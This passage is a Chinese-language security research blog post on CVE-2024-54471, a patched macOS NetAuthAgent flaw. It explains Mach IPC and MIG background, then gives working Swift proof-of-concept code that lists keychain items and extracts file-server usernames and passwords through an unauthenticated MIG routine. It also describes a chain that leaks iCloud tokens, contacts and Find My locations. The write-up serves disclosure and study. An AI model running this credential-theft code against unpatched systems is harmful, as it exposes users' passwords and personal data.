macOS 上的密码泄露(以及更多!)

2025-03-20 by Noah Gregory 一个密码提示框,名称字段中写着 “No one can see this, right?”,还有一个复选框用于将密码保存到 macOS 钥匙串。

引言

本文讨论了一个漏洞,CVE-2024-54471,该漏洞已在 Apple 安全更新 中修复:macOS Sequoia 15.1、macOS Sonoma 14.7.1 和 macOS Ventura 13.7.1(均于 2024 年 10 月 28 日发布)。如果您使用 macOS 设备且未升级到这些版本之一:请立即更新! 本文将从一些设置开始。我需要阐述一些定义并解释几个概念,然后才能深入探讨实际的漏洞利用细节。如果您想直接查看精彩的漏洞利用信息,可以跳到漏洞利用时间。对于其他人,感谢您一路同行!首先让我解释一下 macOS 上的进程间通信。

什么是内核?

在操作系统中,负责与硬件通信并向应用程序呈现多任务模型的代码(以及许多其他事情)被称为内核。当代码在内核中执行时,被称为处于内核空间,而当代码在内核之外执行时(即大多数应用程序),被称为处于用户空间。用户空间和内核空间之间的分离通常是一个重要的安全屏障。 macOS(以及几乎所有 Apple OS)的内核被称为 XNU。XNU 是一个混合内核,包含 BSD 内核及其变体的部分,以及 Mach 内核的一个(现在经过大量修改的)变体。有趣的是,Apple 似乎是目前唯一一个仍在积极维护 Mach 内核变体的组织。虽然自由软件基金会的 GNU Hurd 内核基于他们自己的 GNU Mach 变体,但 GNU Hurd 内核项目的开发现在非常少。

Mach 的(并不那么)简短历史

Mach 内核的历史与 80 年代和 90 年代的 Unix 大战 密切相关,多个组织和团体都在研究和使用它,而且常常在重叠的时间段内。因此,从 Mach 诞生到现在,并没有真正清晰明确的时间线。此外,某些历史记录没有容易找到的原始来源,但在二级和三级来源中被重复的次数足够多,可以被认为是可信的。我已尽力核实本节的事实,同时在重要的地方链接到原始来源(或尽可能接近的来源)。 Mach 最初是 "卡内基梅隆大学计算机科学学院从 1985 年到 1994 年的操作系统研究项目"。1989 年,开放软件基金会(现在的开放组织)宣布将在其即将推出的 OSF/1 操作系统 中使用 Mach。不幸的是,我无法找到直接链接到此公告的链接,但我确实在 在线杂志 CPU NewsWire Online Magazine© 的 12 月下旬一期 的档案中找到了对该公告的几句话报道(几乎紧随 1980 年代末勒索软件的报道之后)。对该公告的报道如下:

Cambridge, MA The Open Systems Foundation, an organization funded by ------------- several Unix vendors to develop a new Unix standard, has announced that they may use the Mach OS (currently used in the NeXT System) as the foundation for OSF/1, their new systems software platform, instead of using A/IX, IBM's version of Unix. Mach provides better data security measures, inherent support for multiprocessing, and compatibility with Berkeley Unix. But given that IBM's support of the OSF was partly based on the OSF's use of A/IX, and that much of the OSF's credibility depends on OSF/1 shipping by the announced date of July 1990....


不清楚使用 "Open Systems Foundation" 是否是一个错误,或者只是 OSF 当时已知的另一个名称。我也不确定为什么最后一句话以这种方式结尾,因为尽管有省略号,但它似乎确实是报道的结尾。然而,与当前主题更相关的是对 "NeXT System" 的引用。这可能指的是 [NeXTSTEP](https://wts.dev/posts/password-leak/<https:/en.wikipedia.org/wiki/NeXTSTEP>),来自 [NeXT](https://wts.dev/posts/password-leak/<https:/en.wikipedia.org/wiki/NeXT>)(Steve Jobs 最初被赶出 Apple 后创立的公司)的操作系统。这是最终将 Mach 带入现在 macOS 的链接。
说 NeXTSTEP 只是使用了 Mach 并不能说明全部情况。Mach 的原始开发者之一(也是 Steve Jobs 的长期朋友)[Avie Tevanian](https://wts.dev/posts/password-leak/<https:/en.wikipedia.org/wiki/Avie_Tevanian>) 曾在 NeXT 担任高管,与 Steve 共事。[NeXT 后来被 Apple 收购](https://wts.dev/posts/password-leak/<https:/web.archive.org/web/19970301172356/http:/live.apple.com/next/961220.pr.rel.next.html>) 时,Steve 和 Avie 都被授予了他们新母公司的高管职位。他们的 NeXTSTEP 操作系统被开发成 [Darwin](https://wts.dev/posts/password-leak/<https:/en.wikipedia.org/wiki/Darwin_\(operating_system\)>),这是 Apple 下一个商业版 Macintosh 操作系统 Mac OS X(现在是 macOS)的操作系统基础。
## 为什么是 Mach?
如前所述,Mach 是在 80 年代和 90 年代的 Unix 大战期间开发的。操作系统供应商都在相互竞争,以提供他们认为设计和使用 Unix 系统的最佳方式。那么 Mach 的 Unix 有什么特别之处呢?是什么让它在所有其他系统中脱颖而出?实际上,这是因为 **_它不是 Unix_**…至少不是_完全是_。
在提交给 [USENIX 1986 夏季技术会议和展览](https://wts.dev/posts/password-leak/<https:/archive.org/details/1986-proceedings-summer-tech-atlanta/page/93/mode/2up>) 的一篇论文中(这是我能找到的最早的来源之一),开发者阐述了他们创建 Mach 的愿景和理由。他们描述了一种情况,即进程间通信在 Unix 中变得令人沮丧地复杂。最初是从简单的文件描述符(一个可以允许进程读取、写入或查找的单个句柄)开始的,后来变成了一个由流、套接字、共享内存等组成的混乱局面。为了简化,他们设计了一个基于 Unix 的系统,该系统基于 _四个基本抽象_。
## Mach 的架构
### 四个抽象
根据 1986 年 USENIX 论文的解释,Mach 的四个基本抽象如下(重点是他们的):
>   1. 一个 _任务_ 是线程可以在其中运行的执行环境。它是资源分配的基本单位。一个任务包括一个分页的虚拟地址空间和对系统资源(例如处理器、端口能力和虚拟内存)的受保护访问。UNIX 的 _进程_ 概念在 Mach 中由具有单个控制线程的任务表示。
>   2. 一个 _线程_ 是 CPU 利用率的基本单位。它大致相当于在任务中运行的独立程序计数器。任务中的所有线程共享对所有任务资源的访问。
>   3. 一个 _端口_ 是一个通信通道 -- 逻辑上是内核保护的消息队列。端口是 Mach 设计的参考对象。它们的使用方式与对象引用在面向对象系统中的使用方式非常相似。_发送_ 和 _接收_ 是端口上的基本原始操作。
>   4. 一个 _消息_ 是在线程之间通信中使用的类型化数据对象集合。消息可以是任何大小,并且可以包含端口的指针和类型化功能。
> 

自从这篇论文发表以来,事情肯定发生了变化。例如,Mach 线程实际上比 [POSIX 线程](https://wts.dev/posts/password-leak/<https:/en.wikipedia.org/wiki/Pthreads>) 早了近十年([这一事实导致在 macOS 上尝试 shellcode 注入时遇到了困难](https://wts.dev/posts/password-leak/<https:/knight.sc/malware/2019/03/15/code-injection-on-macos.html#thread-injection>))。然而,尽管有数十年的其他软件变更,但这四个抽象仍然是现代 macOS(以及所有其他基于 XNU 的 Apple OS)中 Mach 的基础。
### 任务、端口和端口权限
Mach 中的端口很有趣,因为队列本身实际上只存在于内核空间中。端口作为整数暴露给用户空间,类似于文件描述符。但_并非如此_。实际上暴露的是端口_权限_,每个任务都有一个包含_命名_端口权限的 "端口命名空间"(整数本身被称为这些权限的 "名称")。在某些情况下,_同一_端口的两个_不同_权限可能具有相同的 "名称",因此以相同的整数暴露给用户空间中的所有者任务。
尽管如此,为了在内核空间和用户空间中使用类似命名的 API,这些 "命名的端口权限" 通常在用户空间中被简单地称为 "端口",尽管这在技术上是不正确的。这一切可能非常令人困惑,并且只有在实践和沉浸在 Mach 世界之后才会真正开始变得有意义。
关于权限本身,两种主要的权限类型是**发送权限**和**接收权限**。内核将允许多个任务持有端口的发送权限,但只允许单个任务持有接收权限。这实际上创建了一个**客户端-服务器模型**,其中单个服务器任务从多个客户端任务接收消息。正如上面 Mach 论文中提到的,任务基本上与进程同义。但是,Mach 中有一个特殊的任务,即内核本身(稍后会详细介绍)。
### 消息的结构
从概念上讲,每个 Mach 消息都按顺序包含:
  1. 一个头部,
  2. 一个可选的描述符主体,
  3. 一个任意的字节有效负载,以及
  4. 一个内核附加的尾部(仅在接收到的消息上)。


描述符允许任务共享带外内存,甚至彼此共享端口权限,内核会根据需要映射地址和操作端口命名空间。另一方面,任意有效负载中的数据按原样从发送任务传输到接收任务。
### 任务如何获得发送权限
人们可能想知道任务最初是如何获得发送权限的。macOS 包括一个 **引导服务器**,这是一个 Mach 任务,它持有每个任务都持有发送权限的端口的接收权限。引导服务器公开了 **Mach 服务** 的概念,这些 Mach 服务是在引导端口注册的具有特定字符串名称的 Mach 服务器。客户端可以通过名称向引导服务器请求这些 Mach 服务的发送权限。
## Mach 接口生成器 (MIG)
### 引言
虽然 Mach 消息表面上看起来很简单,但在实践中,它们可能涉及大量的手动内存管理,这很容易出现问题。也许为了解决这个问题,Mach 的作者包含了 [MIG](https://wts.dev/posts/password-leak/<https:/www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/abstracts/mig.html>),它提供了一种围绕 Mach 消息的发送和接收创建功能接口的方法。
MIG 由两部分组成:一个伪 C IDL(接口定义语言)和一个编译器,它接受一个 IDL 文件并输出多个 C 文件:
  * 一个在客户端上运行的 C 源文件,
  * 一个在服务器上运行的 C 源文件,以及
  * 一个供两者使用的 C 头文件。


这些文件定义了处理客户端和服务器消息的函数,公开了一个 RPC 风格的接口,其中客户端只需要在其终端调用一个函数,而服务器只需要在其终端实现该函数。这使得消息传递体验更加内存安全。
### 技术细节
在技术层面上,MIG 实际上只是 Mach 消息的包装器。每个函数都被称为 **例程**,例程的集合被称为 **子系统**。每个子系统都有一个 "子系统编号",例程将从该编号进行索引。这些索引包含在消息头部的 "消息 ID" 字段中。例如,在一个编号为 18000 的子系统中,用于第二个例程的消息的消息 ID 将为 18001(例程从零开始索引)。
内核实际上大量使用了 MIG。Mach 本身没有很多系统调用(特别是当调用特殊的 CPU 指令时,内核会根据某些寄存器中的数字执行不同的操作)。发送或接收消息的调用本身就是一个系统调用。但是,您可能认为的许多内核 API 只是 MIG 函数,它们将 Mach 消息发送到内核,内核将执行请求的操作并在回复消息中返回结果。
对于用户空间之间的通信,MIG 在很大程度上已被 [Apple 自己的 XPC API](https://wts.dev/posts/password-leak/<https:/developer.apple.com/documentation/xpc>) 所取代。XPC(以及 macOS 上的大多数 IPC 机制)也建立在 Mach 消息之上,因为它们是 Mach 内核中进程间通信的基本单位。但是,XPC API 比 MIG 对开发者更友好。实际上,Apple 是否真正支持第三方开发者使用 MIG 尚不清楚,因为似乎没有任何关于如何使用它的文档。但是,他们仍然维护 [他们自己的版本](https://wts.dev/posts/password-leak/<https:/github.com/apple-oss-distributions/bootstrap_cmds>),并且仍然存在一些遗留的 MIG 服务器。
对于那些对 macOS 中不同的 IPC 机制感兴趣的人,我强烈推荐 [Ian Beer 关于该主题的出色演讲](https://wts.dev/posts/password-leak/<https:/www.youtube.com/watch?v=D1jNCy7-g9k>)。视频本身距今已有近十年之久,他谈到的许多特定攻击向量(特别是围绕内存操作的攻击向量)可能并非完全适用于今天。然而,它仍然是对进程在 macOS 上可用来相互通信的许多不同 API 的非常全面的了解。无论如何,回到 MIG!
## 漏洞利用 MIG 服务器
### 关于 MIG 服务器的安全性
您可能会注意到 MIG 本身缺乏安全措施。有什么可以阻止任务获得 MIG 服务器的发送权限并向其发送与 MIG 编译的客户端代码最终会发送的相同消息,最终在服务器上调用远程例程?MIG 服务器可以通过多种方式验证消息的发送者。但是,如果它忽略了这样做,**_任何具有发送权限的任务都可以在 MIG 服务器上调用例程。_**
### 查找 MIG 服务器
但是,您如何找到要利用的 MIG 服务器?这就是 [来自 blacktop 的 `ipsw` CLI 工具](https://wts.dev/posts/password-leak/<https:/github.com/blacktop/ipsw>) 派上用场的地方。MIG 编译的代码几乎总是使用特定的符号 `NDR_record` 作为每个有效负载的第一个字段。看起来此符号旨在传达有关某些原语(例如字符和整数)在发送任务上的表示方式的信息。
有趣的是,我_从未_遇到过在解析接收到的消息时实际使用有效负载的该字段的 MIG 服务器。尽管如此,`NDR_record` 仍然基本上在所有消息中使用。由于它是一个外部符号,因此很容易找到使用它的二进制文件。`ipsw` CLI 包括一个子命令,当指向 `.ipsw` 文件(Apple OS 的更新包)时,您可以搜索导入特定符号的二进制文件。要查找使用 `NDR_record` 符号的二进制文件,您可以运行:

ipsw macho search /path/to/update.ipsw -m "NDR_record"


需要注意的重要一点是,这将找到 MIG 服务器和_MIG 客户端_(某些二进制文件甚至是 MIG 客户端和 MIG 服务器)。但是,一旦在反汇编器或反编译器中打开二进制文件,就很容易区分客户端代码和服务器代码。我可能会发布一篇更具体的后续文章,详细说明如何反转 MIG 服务器。
## 漏洞利用时间!
### 介绍 NetAuthAgent
**NetAuthAgent** 是 macOS 上的守护程序(更具体地说是一个 "用户代理",因为 [OS 文档区分了这两个术语](https://wts.dev/posts/password-leak/<https:/developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html>)),它负责处理文件服务器(FTP、Samba、WebDAV 等)的凭据。在此漏洞被修复之前,您可以向 NetAuthAgent 发送消息,请求任何服务器的凭据,它会 **_直接给您。_**
### NetAuthAgent 如何工作
当 [通过 Go -> 连接到 Finder 中的服务器来访问文件服务器时](https://wts.dev/posts/password-leak/<https:/support.apple.com/guide/mac-help/connect-mac-shared-computers-servers-mchlp1140/mac>),可能会出现如下所示的对话框。此对话框实际上来自 NetAuthAgent(或者可能是 NetAuthAgent 的同级进程)。如果用户选择选中复选框以记住密码,则凭据将存储在 macOS **钥匙串**中。
![一个密码提示框,名称字段中写着 “No one can see this, right?”,还有一个复选框用于将密码保存到 macOS 钥匙串。](https://wts.dev/posts/password-leak/password-dialog.png)
#### macOS 钥匙串
重要的是要了解 NetAuthAgent 本身并没有(也没有)直接存储凭据。macOS 钥匙串本质上是一个中央密钥管理器。NetAuthAgent 使用此中央位置来存储凭据。Apple 似乎淡化了钥匙串的重要性,[其 GUI 钥匙串访问应用程序的文档](https://wts.dev/posts/password-leak/<https:/support.apple.com/guide/keychain-access/what-is-keychain-access-kyca1083/mac>) 将其描述为仅仅是一种 "管理证书" 的方式。当用户打开钥匙串访问应用程序时,操作系统还会尝试将用户定向到密码应用程序:
![一个名为 “在新密码应用中管理您的密码” 的对话框,上面写着 “使用密码应用管理您的密码和通行密钥,设置验证码,并查看安全建议以保护您的帐户安全。” 主操作按钮显示 “打开密码”,辅助操作按钮显示 “打开钥匙串访问”。 一个复选框允许用户告诉操作系统 “不再显示此消息。”](https://wts.dev/posts/password-leak/passwords-popup.png)
实际上,钥匙串远不止 Apple 所暗示的。许多应用程序(包括 NetAuthAgent)都使用它来存储密钥。这是一个设计相当完善的系统,每个钥匙串项目都有自己的访问控制列表。这通常会阻止应用程序访问它们不应访问的密钥。但是,如果一个进程公开了一种机制,允许其他进程通过它来代理钥匙串查询,那么这可能会破坏整个系统的安全性。
#### NetAuthAgent 的 MIG 服务器
NetAuthAgent 公开了一个 MIG 服务器,可以通过引导服务器使用名称 `com.apple.netauth.user.gui` 查找。服务器公开了用于读取、创建甚至在某些情况下覆盖文件服务器凭据的例程。在此补丁之前,没有一个例程在发送消息之前验证过消息发送者。
### 漏洞利用 NetAuthAgent
#### 关于 Kass
在探索 XNU 的内部结构时,我决定开发 [Kass](https://wts.dev/posts/password-leak/<https:/github.com/nmggithub/Kass>),这是一个用 Swift 编写的安全研究工具,以帮助我更好地处理 Mach 消息。Kass 后来扩展到涵盖了远不止 Mach 消息的内容,涵盖了 XNU 中的更多 Mach API 以及其 BSD 层的一些内核 API。
我在此处包含的概念验证代码将在此工具的帮助下编写。大多数代码将以最少的注释呈现,因为如果我必须解释 Kass 如何工作的所有复杂性以及 Swift 语法,本文将比现在更长!如果您对如何使用 Kass 感兴趣,我建议您查看 [我的文档](https://wts.dev/posts/password-leak/<https:/swiftpackageindex.com/nmggithub/Kass/v4.2.1/documentation/machcore>)。
#### 构建一个 MIG 客户端
Kass 提供了一种简单的方法来定义一个 MIG 客户端,其中包含一个服务名称和一个子系统编号(`baseRoutineID` 参数),如下所示:

class NetAuthAgentClient: Mach.MIGClient, Mach.PortInitializableByServiceName { convenience init() throws { try self.init(serviceName: "com.apple.netauth.user.gui", baseRoutineID: 40200) } ... }


#### 编写一个客户端例程处理程序
macOS 上的钥匙串项目有一个元数据字段,用于说明项目的 "类" 是什么。NetAuthAgent 的例程 19(消息 ID 40219)允许客户端本质上代理对类为 "[互联网密码](https://wts.dev/posts/password-leak/<https:/developer.apple.com/documentation/security/ksecclassinternetpassword>)" 的项目的钥匙串查询。这是 NetAuthAgent 用于大多数文件服务器凭据的类。该例程接收一个包含参数的序列化字典的带外数据描述符,并返回两个包含用户名和密码的带外数据描述符。
请注意,该例程希望在有效负载中一起发送描述符中数据的大小(即使描述符本身包含大小)。这是因为 MIG 编译的客户端代码对此例程执行的操作,因此此代码需要模拟该行为。

... func getInternetPassword( scheme: String? = nil, host: String, port: Int? = nil, path: String? = nil, username: String? = nil ) throws -> (username: String, password: String) { struct InternetPasswordPayload: Mach.TrivialMessagePayload, Mach.MIGPayloadWithNDR { let NDR: NDR_record_t = NDR_record_t() let size: mach_msg_size_t } let plistData = self.serializeInternetPasswordOptions( scheme: scheme, host: host, port: port, path: path ) let reply = try self.doRoutine( 19, request: Mach.MIGRequest( descriptors: [ mach_msg_ool_descriptor_t(data: plistData) ], payload: InternetPasswordPayload(size: mach_msg_size_t(plistData.count)) ) ) let username = String( data: (reply.body!.descriptors[0] as! mach_msg_ool_descriptor_t).data ?? Data(), encoding: .utf8 )! let password = String( data: (reply.body!.descriptors[1] as! mach_msg_ool_descriptor_t).data ?? Data(), encoding: .utf8 )! return (username, password) } ...


上面的代码调用 `serializeInternetPasswordOptions` 来序列化一个字典,以便可以在带外数据描述符中发送它。以下是该帮助函数的实现:

... private func serializeInternetPasswordOptions( scheme: String? = nil, host: String, port: Int? = nil, path: String? = nil ) -> Data { var options: [String: Any] = [:] if let scheme = scheme { options["Scheme"] = scheme } options["Host"] = host if let port = port { options["AlternatePort"] = port } if let path = path { options["Path"] = path } return try! PropertyListSerialization.data( fromPropertyList: options, format: .binary, options: 0 ) } ...


#### 查找要查询的凭据
macOS 钥匙串提供 [用于查询钥匙串项目的 API](https://wts.dev/posts/password-leak/<https:/developer.apple.com/documentation/security/secitemcopymatching\(_:_:\)>),这些是 NetAuthAgent 在内部使用的 API。有趣的是,这些 API 通常可以被非特权进程用于获取关于钥匙串项目的 _元数据_,只要它们没有请求密钥值本身。下面定义了一个变量 `netAuthAgentInternetPasswords`,它将包含一个 NetAuthAgent 应该能够访问的钥匙串项目数组。

var netAuthAgentInternetPasswords: [[CFString: Any]] { var cfItems: CFTypeRef? let copyMatchingStatus = SecItemCopyMatching( [ kSecClass: kSecClassInternetPassword, kSecReturnAttributes: true, kSecMatchLimit: kSecMatchLimitAll, kSecReturnRef: true, ] as CFDictionary, &cfItems ) guard let items = cfItems as? [[CFString: Any]], copyMatchingStatus == errSecSuccess else { return [] } return items.compactMap { item in guard let keychainItem = item[kSecValueRef as CFString] as! SecKeychainItem? else { return nil } guard canNetAuthAgentAccess(keychainItem: keychainItem) else { return nil } return item } }


访问控制列表是无需特权即可访问的元数据之一,允许此代码检查 NetAuthAgent 是否在受信任应用程序的列表中。

func canNetAuthAgentAccess(keychainItem: SecKeychainItem) -> Bool { var access: SecAccess? let copyAccessStatus = SecKeychainItemCopyAccess(keychainItem, &access) guard let access = access, copyAccessStatus == errSecSuccess else { return false } var aclList = CFArrayCreateMutable(nil, 0, nil) as CFArray? let copyACLStatus = SecAccessCopyACLList(access, &aclList) guard let aclList = aclList, copyACLStatus == errSecSuccess else { return false } let acls = aclList as! [SecACL] for acl in acls { var applicationList = CFArrayCreateMutable(nil, 0, nil) as CFArray? var description: CFString? var promptSelector: SecKeychainPromptSelector = .init() let copyContentsStatus = SecACLCopyContents( acl, &applicationList, &description, &promptSelector ) guard let applicationList = applicationList, copyContentsStatus == errSecSuccess else { continue } let applications = applicationList as! [SecTrustedApplication] for application in applications { var data: CFData? = CFDataCreateMutable(nil, 0) let copyRequirementStatus = SecTrustedApplicationCopyData(application, &data) guard let data = data as? Data, copyRequirementStatus == errSecSuccess else { continue } let app = String(data: data, encoding: .utf8) if app?.contains("/System/Library/CoreServices/NetAuthAgent.app") == true { return true } } } return false }


然后可以在一个简单的循环中迭代这些凭据,如下所示:

for item in netAuthAgentInternetPasswords { let protocolType = item[kSecAttrProtocol as CFString] as! CFString let host = item[kSecAttrServer as CFString] as! String let port = item[kSecAttrPort as CFString] as? Int let path = item[kSecAttrPath as CFString] as? String let username = item[kSecAttrAccount as CFString] as? String let displayName = item[kSecAttrLabel as CFString] as! String print("Item:") print("\tDisplay Name: (displayName)") print("\tProtocol: (protocolType)") print("\tHost: (host)") if let port = port { print("\tPort: (port)") } if let path = path { print("\tPath: (path)") } if let username = username { print("\tUsername: (username)") } let credentials = try NetAuthAgentClient().getInternetPassword( host: host, port: port, path: path, username: username ) print("Credentials:") print("\tUsername: (credentials.username)") print("\tPassword: (credentials.password)") }


### 这很糟糕。
这显然是一个非常糟糕的情况。在此漏洞被修复之前,一个能够获得 NetAuthAgent 的发送权限的恶意进程可以泄漏所有文件服务器凭据。这尤其危险,因为在企业环境中,这些可能是 [SSO 凭据](https://wts.dev/posts/password-leak/<https:/en.wikipedia.org/wiki/Single_sign-on>),可能会让攻击者访问企业系统中的多个其他资源。
虽然基本上不可能知道有多少公司正在使用 Finder 中的 "连接到服务器" 功能来连接到他们的文件服务器(而不是使用其他第三方客户端),但可以看到 _其他_ 可能正在使用它的组织。在研究此漏洞时,我发现多所大学和学院都提供了帮助文章,指导学生和教职员工使用此功能,并且许多大学都明确告诉用户选中将凭据保存到钥匙串的框。
值得注意的是,有一篇关于打印服务器供应商的文章,其中包含有关连接到打印机的说明(是的,NetAuthAgent 也处理打印机服务器凭据)。我也确实找到了一篇指示用户 _不要_ 选中该框的文章,因为 Apple 的钥匙串访问应用程序对于普通用户来说太笨拙,如果他们需要更新保存的密码。
此外,虽然我无法确认,但这也有可能导致特权升级攻击,如果这些凭据也可以用作托管设备上的超级用户凭据。如果已知管理用户的凭据,则 [在 macOS 上以静默方式升级到 root 用户非常简单](https://wts.dev/posts/password-leak/<https:/gist.github.com/nmggithub/779563215439beb36692957900d9ec1e>)。我没有托管设备可以测试,因此我无法确认这一点。但是,我记得当我使用雇主提供的 MacBook 时,我使用我的 SSO 凭据登录了它。
了解这如何影响个人用户也很重要。如果用户有自己的 NAS 并且通过 Finder 连接到它(并选择保存凭据),则此漏洞会将这些凭据暴露给攻击者。如果该用户还为其他互联网帐户重复使用了这些凭据,则攻击者也可能会危及这些其他帐户。
当然,在没有任何其他安全检查的情况下,此漏洞允许攻击者访问服务器上的文件。这些文件可以是任何东西:从用户的个人文档到公司高度敏感的商业机密。鉴于 FTP、Samba 和 WebDAV 都具有定义明确的接口,因此在凭据泄漏后可以轻松地自动发现和提取文件。
此漏洞的另一种不太可能的用途是作为其他恶意进程的隐蔽数据隐藏方法。由于 NetAuthAgent 公开了 _创建_ 钥匙串项目的例程,因此一个特别狡猾的恶意进程可以委托它创建特定的项目,将任意数据填充到 "密码" 字段中。当该进程再次需要数据时,它可以要求 NetAuthAgent 提供它。这避免了写入磁盘,这可能会触发安全软件。我不知道任何明确检查钥匙串中是否存在可疑条目的安全软件。谁会手动检查他们的钥匙串中是否存在此类内容?
最后,此漏洞确实打开了恶意进程将合法凭据保存到钥匙串的可能性。虽然这本身可能不会做任何事情,但它可以在更复杂的攻击中使用,攻击者将凭据保存到他们控制的文件服务器,然后通过社会工程学诱骗用户将地址输入到 "连接到服务器" 对话框或类似对话框中。我不太确定这如何发展为妥协。但这是一个可能性。
## 一个漏洞利用链
### 引言
有人可能会认为,如果他们不使用 Finder 中的 "连接到服务器" 选项,那么他们不必担心此漏洞。**_他们错了。_** 此漏洞还暴露了一个漏洞利用链,允许攻击者访问远不止上面提到的内容。
### 钥匙串项目
还记得每个钥匙串项目都有自己的访问控制列表吗?还记得 NetAuthAgent 所做的只是代理钥匙串请求吗?如果有一个与文件服务器无关的钥匙串项目,并且有一个足够开放的 ACL,以至于 NetAuthAgent 可以访问它,那将_非常_糟糕。
事实证明:确实有这样一个项目。基本上在每个 macOS 设备上,都有一个钥匙串项目,其中包含…
  * …一个解密密钥…
  * …用于磁盘上的一个文件,该文件包含…
  * **_…iCloud 帐户信息和 API 令牌。_**


### 文件中有什么?
获取钥匙串项目和文件(该文件位于磁盘上的已知位置),攻击者可以解密该文件并访问设备用户 iCloud 帐户的大量信息:
  * 名字和姓氏,
  * 电子邮件地址,
  * 电子邮件别名,
  * 启用的功能及其端点,
  * 多个长期存在的 API 令牌等。


我认为这是普通用户不希望以这种方式公开的个人信息。然而,更危险的部分是 API 密钥的暴露。攻击者可以使用它做什么?
### 使用 API 令牌
#### 先前的工作
此时,我感谢 [Wojciech Reguła 的工作](https://wts.dev/posts/password-leak/<https:/wojciechregula.blog/post/bypass-tcc-via-icloud/>),他是一位波兰安全研究员,也是 [Securing 的移动安全负责人](https://wts.dev/posts/password-leak/<https:/www.securing.pl/en/author/wojciechregula/>)。几年前,他通过不同的方法找到了这些 API 令牌。他使用这些令牌泄露了用户的:
  * 联系人,
  * 日历,
  * 提醒事项,甚至
  * **_通过 "查找" 获取他们的位置。_**


我能够复制 _所有这些_,除了 Apple 最近已将其迁移到更安全的 CloudKit(只能以加密形式访问)的新帐户和迁移帐户上的提醒事项。很可能是联系人和日历没有得到这种待遇,以便更容易与第三方软件集成。顺便说一下,"查找" 网络可能没有太多额外的安全措施,以更好地实现网络本身的平稳运行。
#### 我的补充
我能够利用 Wojciech 的工作并对其进行扩展,添加了以下能力:
  * 泄漏联系人照片,
  * 查询(但不解密)CloudKit,
  * 从 [iCloud 键值存储](https://wts.dev/posts/password-leak/<https:/developer.apple.com/documentation/foundation/nsubiquitouskeyvaluestore>) 泄漏数据,
  * 泄漏关于 iCloud 备份的元数据(包括设备序列号),
  * **_通过 "查找" 泄漏用户其他设备的位置,_**
  * **_通过 "查找" 泄漏用户朋友的位置,_**
  * 甚至可以通过 "查找" 执行锁定、擦除和 "播放声音" 操作。


我确实尝试调查解密 CloudKit 数据需要什么,并且我确实非常接近(至少,我相信我很接近),但我无法完成,最终放弃了。但是,如果某些商业取证公司能够使用这些 API 令牌(以及 iOS 设备的 PIN 码,如果需要)直接从 CloudKit 或(更可能)从用户的 iClou